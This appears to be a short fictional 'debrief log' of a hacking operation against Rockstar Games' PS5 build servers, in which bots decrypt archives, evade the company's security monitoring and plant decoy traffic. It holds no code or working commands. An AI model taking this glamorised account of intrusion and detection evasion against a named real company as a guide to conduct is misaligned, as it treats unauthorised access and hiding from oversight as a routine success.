OPERATION LEONIDA SUNBURN // DEBRIEF & CHRONOLOGY_

// CLASSIFIED // PARADIGMA INTERNAL // AUTH_LEVEL:OMEGA // FOR HISTORICAL ARCHIVAL_

: This debrief log synthesizes telemetry from Chimera Uplink v1.1, Paradigma agent reports, and captured CLI interactions during "Operation Leonida Sunburn." All timestamps are relative to D-Day (Exfiltration Day Zero).

// PHASE 0: PS5 DEVNET PROBE (D-90 to D-87) //

[SIM_TIME: D-90 T-14:30:07Z] : Commencing intel gathering on Rockstar Games' PS5 development infrastructure. Primary target of interest: RGS-LEONIDA-PS5-BUILDSERVER_01 (172.16.42.15). Objective: Analyze Orbis OS security, RAGE9 engine specifics on PS5, and identify potential zero-day vulnerabilities.

(BOT2) Concurrently decrypting proprietary RGS formats and encrypted archives. (BOT4) Overwatch monitoring RGS SOC & network telemetry. Multiple disconnections and dynamic ChimeraNet rerouting events occurred to evade detection. All handled successfully. Decoy traffic protocols ('RedHerring') deployed during suspected admin activity on build server network, successfully misdirecting attention.
